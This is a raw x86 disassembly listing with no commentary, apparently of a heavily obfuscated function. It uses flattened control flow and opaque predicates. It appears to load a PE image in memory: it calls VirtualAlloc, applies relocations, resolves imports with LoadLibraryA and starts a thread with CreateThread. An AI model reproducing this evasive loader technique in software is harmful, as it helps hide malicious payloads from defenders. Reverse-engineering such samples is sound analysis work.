jne 0x4026e0
mov eax, dword [ebp - 0x4b240]
mov eax, dword [ebp - 0x4b23c]
mov ecx, dword [ebp - 0x4b284]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x4b214]
mov ecx, dword [ebp - 0x4b240]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b228]
mov eax, 0x14014668
jmp 0x4026e0
cmp eax, 0x33980595
jg 0x404ae2
cmp eax, 0x31c99f93
je 0x405a8a
cmp eax, 0x31d23f6a
jne 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov dword [eax], 0x40
mov eax, 0xd9642f0f
jmp 0x4026e0
cmp eax, 0x9d672956
jg 0x404b02
cmp eax, 0x9c525f9e
je 0x405a94
cmp eax, 0x9c9368a1
jne 0x4026e0
push 0x400
push edi
push dword [ebp - 0x4b214]
vzeroupper
call fcn.004404f0
add esp, 0xc
mov eax, dword [ebp - 0x4b218]
mov dword [ebp - 0x4b2c4], eax
mov eax, 0xbe39cb38
jmp 0x4026e0
cmp eax, 0x1470ca74
jg 0x404b2e
cmp eax, 0x13ab162c
je 0x405aad
cmp eax, 0x14014668
jne 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov dword [eax], 0
mov eax, 0x99e120de
jmp 0x4026e0
cmp eax, 0xd19b5d3b
jg 0x404b63
cmp eax, 0xce61f9f1
je 0x405b02
cmp eax, 0xce7ecd42
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xe1e20113
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x1632b5e1
cmovne ebx, esi
test edx, eax
mov edx, dword [ebp - 0x4b2d8]
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
mov dword [ebp - 0x4b23c], edx
jmp 0x4026e0
cmp eax, 0x73171325
jg 0x404b83
cmp eax, 0x71a38a81
je 0x405b18
cmp eax, 0x71c014d8
jne 0x4026e0
mov eax, 0x9c525f9e
jmp 0x4026e0
cmp eax, 0x8c2f1f3e
jg 0x404ba9
cmp eax, 0x8bedb78d
je 0x405b4f
cmp eax, 0x8c1949f5
jne 0x4026e0
mov eax, 0xca932ef5
jmp 0x4026e0
cmp eax, 0x3e8abf7
je 0x405b59
cmp eax, 0x42acfef
jne 0x4026e0
cmp byte [ebp - 0x4b255], 0
mov eax, 0xa882256a
mov ecx, 0xe0a9d40d
cmovne eax, ecx
jmp 0x4026e0
cmp eax, 0xc0569ecb
je 0x405bac
cmp eax, 0xc0c1f406
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x3f66df14
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd9a3704e
jmp 0x4026c5
cmp eax, 0x414f059f
je 0x405bff
cmp eax, 0x419babb6
jne 0x4026e0
mov eax, 0xb5615688
jmp 0x4026e0
cmp eax, 0xa78cf081
je 0x405c18
cmp eax, 0xa7929cb8
jne 0x4026e0
mov dword [ebp - 0x4b21c], 0xa
mov eax, 0x220f9141
jmp 0x4026e0
cmp eax, 0x222b84ca
je 0x405c4c
cmp eax, 0x22eab200
jne 0x4026e0
mov eax, 0x3eb1949e
jmp 0x4026e0
cmp eax, 0xded52e57
je 0x405c56
cmp eax, 0xdf982538
jne 0x4026e0
mov dword [ebp - 0x4b21c], 0xc
mov eax, 0xf18e53c5
jmp 0x4026e0
cmp eax, 0x6a0f67aa
je 0x405c75
cmp eax, 0x6a5bc27b
jne 0x4026e0
mov eax, dword [ebp - 0x4b220]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x42acfef
setne byte [ebp - 0x4b255]
jmp 0x4026e0
cmp eax, 0x8809b44e
je 0x405c8e
cmp eax, 0x88d61dc5
jne 0x4026e0
mov eax, 0x7d3f2026
jmp 0x4026e0
cmp eax, 0xfb2548ac
je 0x405cd3
cmp eax, 0xfbb97140
jne 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0x2b12681c
mov ebx, 0x79c6c384
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x79c6c384
jmp 0x405f39
cmp eax, 0xb6174115
je 0x405cea
cmp eax, 0xb6ba2985
jne 0x4026e0
mov eax, dword [ebp - 0x4b270]
mov edx, dword [ebp - 0x4b288]
lea eax, [eax + eax*4]
mov ecx, dword [edx + eax*8 + 0xc]
add ecx, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b328], ecx
mov eax, dword [edx + eax*8 + 0x14]
add eax, edi
mov dword [ebp - 0x4b32c], eax
mov eax, 0x1e2a989b
jmp 0x4026e0
cmp eax, 0x3b6dd69f
je 0x405cf4
cmp eax, 0x3bbb7e37
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x2f9af927
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9b933cf6
jmp 0x4026c5
cmp eax, 0xa1df7c35
je 0x405d13
cmp eax, 0xa204d8d2
jne 0x4026e0
mov eax, dword [ebp - 0x4b274]
mov eax, 0x71a38a81
jmp 0x4026e0
cmp eax, 0x1b7a3ba0
je 0x405d32
cmp eax, 0x1c68066d
jne 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [ebp - 0x4b22c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x4b220]
mov eax, dword [ebp - 0x4b224]
mov ecx, dword [ebp - 0x4b288]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4b220]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b220]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0xaa048835
mov dword [ebp - 0x4b394], ecx
jmp 0x4026e0
cmp eax, 0xd9642f0f
je 0x405d3c
cmp eax, 0xd9776f36
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x8bc6cefa
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x800aade3
jmp 0x4026c5
cmp eax, 0x79c6c384
je 0x405d7c
cmp eax, 0x7a752778
jne 0x4026e0
mov eax, 0xd537eb8f
jmp 0x4026e0
cmp eax, 0x92b77051
je 0x405d86
cmp eax, 0x936ea91f
jne 0x4026e0
mov eax, 0x890bd7c0
jmp 0x4026e0
cmp eax, 0xa4b79b7
je 0x405d90
cmp eax, 0xb20623a
jne 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0x71a38a81
mov ebx, 0xa204d8d2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa204d8d2
jmp 0x405f31
cmp eax, 0xca836ce9
je 0x405da6
cmp eax, 0xca932ef5
jne 0x4026e0
mov eax, 0xc9874518
jmp 0x4026e0
cmp eax, 0x533465b6
je 0x405dbf
cmp eax, 0x546036d4
jne 0x4026e0
mov eax, 0x936ea91f
jmp 0x4026e0
cmp eax, 0xac167d78
je 0x405dfe
cmp eax, 0xac27f92d
jne 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0x13ab162c
mov ebx, 0xb089f62b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb089f62b
jmp 0x405f31
cmp eax, 0x2b16e7b1
je 0x405e12
cmp eax, 0x2b608bf4
jne 0x4026e0
mov eax, 0xbf2031da
jmp 0x4026e0
cmp eax, 0xe5f866b8
je 0x405e45
cmp eax, 0xe695c707
jne 0x4026e0
mov eax, dword [ebp - 0x4b298]
mov ecx, dword [ebp - 0x4b2d0]
mov ebx, 0x8a56b5ef
mov esi, 0x82f2a490
mov dword [eax], ecx
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x82f2a490
jmp 0x40629f
cmp eax, 0x5cb51ff8
je 0x405e78
cmp eax, 0x5df9a858
jne 0x4026e0
mov eax, 0x9f28355a
jmp 0x4026e0
cmp eax, 0x84199472
je 0x405e8e
cmp eax, 0x84bd1386
jne 0x4026e0
mov eax, 0xb486c730
jmp 0x4026e0
cmp eax, 0xf2b8e5f7
je 0x405e98
cmp eax, 0xf4f5026d
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x8d3f95db
mov esi, 0xa643a63e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa643a63e
jmp 0x40629f
cmp eax, 0xb32d46db
je 0x405ea8
cmp eax, 0xb486c730
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xe695c707
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x82f2a490
jmp 0x4026c5
cmp eax, 0x346ae534
je 0x405ec1
cmp eax, 0x3597e4f7
jne 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov eax, dword [eax]
mov dword [ebp - 0x4b3a4], eax
mov eax, 0x2dddbea4
jmp 0x4026e0
cmp eax, 0x9f28355a
je 0x405ecb
cmp eax, 0x9ff473cb
jne 0x4026e0
mov eax, dword [ebp - 0x4b220]
mov esi, 0xf16e868
mov ebx, 0x7d5c7d23
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, dword [0x4b4418]
setne byte [ebp - 0x4b256]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7d5c7d23
jmp 0x405f31
cmp eax, 0x14ee3fac
je 0x405ed5
cmp eax, 0x1632b5e1
jne 0x4026e0
mov eax, dword [ebp - 0x4b2d8]
mov dword [ebp - 0x4b23c], eax
mov eax, 0xce7ecd42
jmp 0x4026e0
cmp eax, 0xd20898ac
je 0x405edf
cmp eax, 0xd4c950db
jne 0x4026e0
push eax
mov eax, esp
mov dword [ebp - 0x4b28c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b25c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b240], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b228], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b274], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b244], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b2a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b224], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b22c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b220], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b278], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b290], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b27c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b230], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4b248], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b24c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4b260], eax
push eax
mov eax, esp
mov dword [ebp - 0x4b294], eax
mov eax, 0x8245514f
jmp 0x4026e0
cmp eax, 0x75c912e4
je 0x405ee9
cmp eax, 0x7674213d
jne 0x4026e0
mov eax, dword [ebp - 0x4b2b8]
mov ebx, 0x14ee3fac
mov esi, 0xee1b0dc6
mov dword [ebp - 0x4b234], eax
mov eax, dword [ebp - 0x4b26c]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
add eax, dword [ebp - 0x4b2fc]
mov dword [ebp - 0x4b298], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xee1b0dc6
jmp 0x406297
cmp eax, 0x8d3f95db
je 0x405f08
cmp eax, 0x90c1a267
jne 0x4026e0
mov eax, dword [ebp - 0x4b220]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x4b3a0], eax
mov eax, 0xf0ddb48e
jmp 0x4026e0
cmp eax, 0x51f3e76
je 0x405f56
cmp eax, 0x54f2e70
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xe31a93f1
mov esi, 0x42cdfac
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x42cdfac
jmp 0x406297
cmp eax, 0xc78da1bf
je 0x405f6c
cmp eax, 0xc7db8e5b
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0x9ff473cb
mov esi, 0x7d5c7d23
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7d5c7d23
jmp 0x406297
cmp eax, 0x47a2a3d2
je 0x405f86
cmp eax, 0x4972c131
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xd19b5d3c
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x10ebac12
jmp 0x406373
cmp eax, 0xa99ec634
je 0x405fb9
cmp eax, 0xaa048835
jne 0x4026e0
cmp dword [ebp - 0x4b394], 0
mov eax, 0xbbf8ab44
mov ecx, 0x6a5bc27b
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0x24088054
je 0x405fcd
cmp eax, 0x2440e687
jne 0x4026e0
mov eax, dword [ebp - 0x4b218]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x4b3ac]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4b294]
mov dword [ecx], eax
mov ecx, 0xba03a281
mov eax, dword [ebp - 0x4b24c]
cmp byte [eax], 0
mov eax, 0x29098d74
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0xe1a4fc48
je 0x405fdd
cmp eax, 0xe1e20113
jne 0x4026e0
mov eax, 0xb56dd1ff
jmp 0x4026e0
cmp eax, 0x6e83e474
je 0x405fe7
cmp eax, 0x6e902d1b
jne 0x4026e0
mov eax, 0x12605115
jmp 0x4026e0
cmp eax, 0x89d65314
je 0x40601a
cmp eax, 0x8a56b5ef
jne 0x4026e0
mov eax, 0x2b16e7b1
jmp 0x4026e0
cmp eax, 0xfd2ccdcd
je 0x406024
cmp eax, 0xfd49752a
jne 0x4026e0
mov eax, 0xf9d53460
jmp 0x4026e0
cmp eax, 0xbbf8ab44
je 0x40604a
cmp eax, 0xbe39cb38
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x8809b44e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7497cdd5
jmp 0x4026c5
cmp eax, 0x3e7bf774
je 0x40606c
cmp eax, 0x3eb1949e
jne 0x4026e0
mov ecx, dword [ebp - 0x4b218]
mov eax, dword [ecx + 0xa0]
mov dword [ebp - 0x4b2bc], eax
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0x4b2a4], eax
mov eax, 0x78c2905
jmp 0x4026e0
cmp eax, 0xa49f3226
je 0x406091
cmp eax, 0xa6181f4f
jne 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov ecx, dword [ebp - 0x4b3a8]
mov dword [eax], ecx
mov eax, 0x4e7b18d3
jmp 0x4026e0
cmp eax, 0x2079f833
je 0x4060a7
cmp eax, 0x20aeed8c
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xce553c51
mov esi, 0x27de0d28
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x27de0d28
jmp 0x40629f
cmp eax, 0xdb3fa939
je 0x4060cd
cmp eax, 0xdc54c872
jne 0x4026e0
mov eax, dword [ebp - 0x4b25c]
mov eax, dword [ebp - 0x4b28c]
mov eax, dword [ebp - 0x4b21c]
mov dword [ebp - 0x4b390], eax
mov eax, 0xfcabe1f9
jmp 0x4026e0
cmp eax, 0x7d47fa31
je 0x406101
cmp eax, 0x7d5c7d23
jne 0x4026e0
mov eax, dword [ebp - 0x4b220]
mov eax, 0x9ff473cb
jmp 0x4026e0
cmp eax, 0x97e4d6d6
je 0x40612a
cmp eax, 0x997f300f
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x33980596
mov dword [ebp - 0x4b2a0], 1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x17c1357a
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x4026e0
cmp eax, 0x10a8174e
je 0x406134
cmp eax, 0x10e7be92
jne 0x4026e0
mov eax, dword [ebp - 0x4b270]
mov dword [ebp - 0x4b2ac], eax
mov eax, 0x3bbb7e37
jmp 0x4026e0
cmp eax, 0xcc4e9034
je 0x40613e
cmp eax, 0xccd9d53a
jne 0x4026e0
mov eax, dword [ebp - 0x4b34c]
mov dword [ebp - 0x4b280], 0
mov dword [ebp - 0x4b26c], eax
mov eax, 0xce61f9f1
jmp 0x4026e0
cmp eax, 0x57be0332
je 0x40615d
cmp eax, 0x57dcce31
jne 0x4026e0
mov ecx, dword [ebp - 0x4b268]
mov eax, dword [ecx]
add eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b2fc], eax
lea eax, [ecx + 4]
mov dword [ebp - 0x4b348], eax
mov eax, 0x3d8d0050
jmp 0x4026e0
cmp eax, 0xaf510675
je 0x406180
cmp eax, 0xaf89daa0
jne 0x4026e0
mov eax, dword [ebp - 0x4b228]
mov eax, 0xa969302e
jmp 0x4026e0
cmp eax, 0x2e7e11ae
je 0x4061b3
cmp eax, 0x2f2395e1
jne 0x4026e0
mov eax, 0x8a5902fa
jmp 0x4026e0
cmp eax, 0xeb6f0892
je 0x4061de
cmp eax, 0xee1b0dc6
jne 0x4026e0
mov eax, 0x7674213d
jmp 0x4026e0
cmp eax, 0x6537b342
je 0x4061f4
cmp eax, 0x66129449
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xf67fa9a0
mov esi, 0xac167d78
mov dword [ebp - 0x4b21c], 7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xac167d78
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b4414], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x4026e0
cmp eax, 0x8245514f
je 0x406227
cmp eax, 0x82f2a490
jne 0x4026e0
mov eax, dword [ebp - 0x4b298]
mov ecx, dword [ebp - 0x4b2d0]
mov dword [eax], ecx
mov eax, 0xe695c707
jmp 0x4026e0
cmp eax, 0xf243b701
je 0x406273
cmp eax, 0xf2ab7e03
jne 0x4026e0
mov eax, 0x4102391f
jmp 0x4026e0
cmp eax, 0xb237aa74
je 0x40627d
cmp eax, 0xb2faed1d
jne 0x4026e0
mov eax, dword [ebp - 0x4b344]
cmp eax, dword [ebp - 0x4b2a4]
mov eax, 0x46630bc
setb byte [ebp - 0x4b24f]
jmp 0x4026e0
cmp eax, 0x33980596
je 0x4062bc
cmp eax, 0x33a4bd06
jne 0x4026e0
mov eax, 0x12605115
jmp 0x4026e0
cmp eax, 0x9d672957
je 0x4062c6
cmp eax, 0x9d9be9ba
jne 0x4026e0
mov eax, dword [ebp - 0x4b358]
mov dword [ebp - 0x4b268], eax
mov eax, 0x51f3e76
jmp 0x4026e0
cmp eax, 0x1470ca75
je 0x4062df
cmp eax, 0x148d16b1
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xb9ea311
mov esi, 0xde199ba4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xde199ba4
jmp 0x406297
cmp eax, 0xd19b5d3c
je 0x4062e9
cmp eax, 0xd1f1fbc4
jne 0x4026e0
mov eax, 0xfd2ccdcd
jmp 0x4026e0
cmp eax, 0x73171326
je 0x40633a
cmp eax, 0x7497cdd5
jne 0x4026e0
mov eax, dword [ebp - 0x4b2c4]
mov eax, 0x8809b44e
jmp 0x4026e0
cmp eax, 0x8c2f1f3f
je 0x406344
cmp eax, 0x8c30b5c8
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xc1126d27
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1470ca75
jmp 0x406373
mov eax, 0xe31a93f1
jmp 0x4026e0
cmp byte [ebp - 0x4b24f], 0
mov eax, 0xcb4d4834
mov ecx, 0x57dcce31
cmovne eax, ecx
jmp 0x4026e0
cmp dword [ebp - 0x4b398], 0
mov eax, 0x579b6b6
mov ecx, 0xa882256a
cmovns eax, ecx
jmp 0x4026e0
mov eax, 0xded52e57
jmp 0x4026e0
mov eax, 0xd77932e3
jmp 0x4026e0
cmp dword [ebp - 0x4b36c], 0
mov eax, 0xabb947db
mov ecx, 0xa7929cb8
cmove eax, ecx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b390]
mov ecx, 0xfb2548ac
cmp eax, 0xc
mov eax, 0xcc4e9034
cmove eax, ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x3e8abf7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb336547
jmp 0x4026c5
cmp byte [ebp - 0x4b250], 0
mov eax, 0xe5f866b8
mov ecx, 0x969b556e
cmovne eax, ecx
jmp 0x4026e0
mov eax, 0x3e7bf774
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xeb546dee
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbf0bf7ef
jmp 0x406373
mov eax, dword [ebp - 0x4b220]
mov eax, dword [eax]
mov dword [ebp - 0x4b398], eax
mov eax, 0xc0e986a9
jmp 0x4026e0
mov eax, 0x6e902d1b
jmp 0x4026e0
mov eax, dword [ebp - 0x4b2f0]
mov ecx, dword [ebp - 0x4b2ec]
mov dword [eax + 4], ecx
push dword [ebp - 0x4b248]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x4b230]
add eax, eax
mov esi, 0x84199472
mov ecx, dword [ecx]
mov word [ecx], ax
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc9d34ba3
jmp 0x406373
mov eax, dword [ebp - 0x4b350]
mov ecx, 0x2b16e7b1
not eax
or eax, 0xfffffffc
cmp eax, 0xffffffff
mov eax, 0xa71836c4
cmove eax, ecx
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x6df8faf3
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf243b701
jmp 0x4026c5
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xd1f1fbc4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6f4647c0
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b2cc]
cmovge eax, ebx
cmp ecx, dword [ebp - 0x4b2f8]
setl byte [ebp - 0x4b250]
jmp 0x4026e0
mov eax, 0xa79d8e93
jmp 0x4026e0
mov eax, dword [ebp - 0x4b274]
mov eax, 0x1e7cd230
jmp 0x4026e0
mov eax, dword [ebp - 0x4b244]
mov ecx, dword [ebp - 0x4b284]
mov esi, 0x89d65314
mov ebx, 0xf2b8e5f7
mov eax, dword [eax]
mov dword [ebp - 0x4b384], eax
mov eax, dword [ebp - 0x4b23c]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b388], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf2b8e5f7
jmp 0x405f39
mov eax, dword [0x4b4418]
mov ebx, 0xe1a4fc48
mov esi, 0x1b7a3ba0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1b7a3ba0
jmp 0x40629f
mov eax, dword [ebp - 0x4b348]
mov eax, dword [eax]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x4b2f8], eax
mov eax, dword [ebp - 0x4b268]
add eax, 8
mov dword [ebp - 0x4b34c], eax
mov eax, 0xccd9d53a
jmp 0x4026e0
mov eax, 0x7e64e364
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0xfd513c09
mov ebx, 0x73184c5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x73184c5
jmp 0x405f39
cmp byte [ebp - 0x4b24e], 0
mov eax, 0x2dc560ea
mov ecx, 0xb6ba2985
cmovne eax, ecx
jmp 0x4026e0
mov eax, dword [ebp - 0x4b270]
mov ecx, dword [ebp - 0x4b288]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x4b330], eax
mov eax, 0xbe7dc873
jmp 0x4026e0
mov eax, 0xc0c1f406
jmp 0x4026e0
push 4
push 0x3000
push dword [ebp - 0x4b2c0]
push dword [ebp - 0x4b2f4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x4b214], eax
mov eax, 0xdcbcd556
jmp 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xcbd79027
mov esi, 0xca4cddf3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xca4cddf3
jmp 0x40629f
mov eax, dword [ebp - 0x4b374]
mov ecx, dword [ebp - 0x4b378]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x4b370]
mov ecx, dword [ebp - 0x4b28c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b25c]
mov eax, dword [ebp - 0x4b28c]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x4b25c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b25c]
cmp dword [eax], 0
mov eax, 0xcd7707e3
setne byte [ebp - 0x4b251]
jmp 0x4026e0
mov dword [ebp - 0x4b21c], 0
mov eax, 0xdc54c872
jmp 0x4026e0
mov eax, dword [ebp - 0x4b26c]
movzx eax, word [eax]
mov word [ebp - 0x4b2b0], ax
mov eax, 0xb0d9aae5
jmp 0x4026e0
mov eax, dword [ebp - 0x4b220]
mov eax, 0x3e8abf7
jmp 0x4026e0
mov eax, dword [ebp - 0x4b270]
mov esi, 0x6ff1ff71
mov ebx, 0xde199ba4
mov dword [ebp - 0x4b324], eax
mov eax, dword [ebp - 0x4b218]
movzx eax, word [eax + 6]
mov word [ebp - 0x4b2ae], ax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xde199ba4
jmp 0x405f31
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x33a4bd06
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe99d4adb
jmp 0x4026c5
mov eax, 0xa2124542
mov dword [ebp - 0x4b21c], 5
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xfd0b5787
mov ebx, dword [ebp - 0x4b2d4]
lea eax, [edx + 1]
mov dword [ebp - 0x4b264], ebx
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5cb51ff8
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x4b26c]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x4b358], esi
jmp 0x4026e0
mov eax, 0xa2493287
jmp 0x4026e0
mov eax, dword [ebp - 0x4b280]
mov dword [ebp - 0x4b29c], eax
mov eax, 0xd9776f36
jmp 0x4026e0
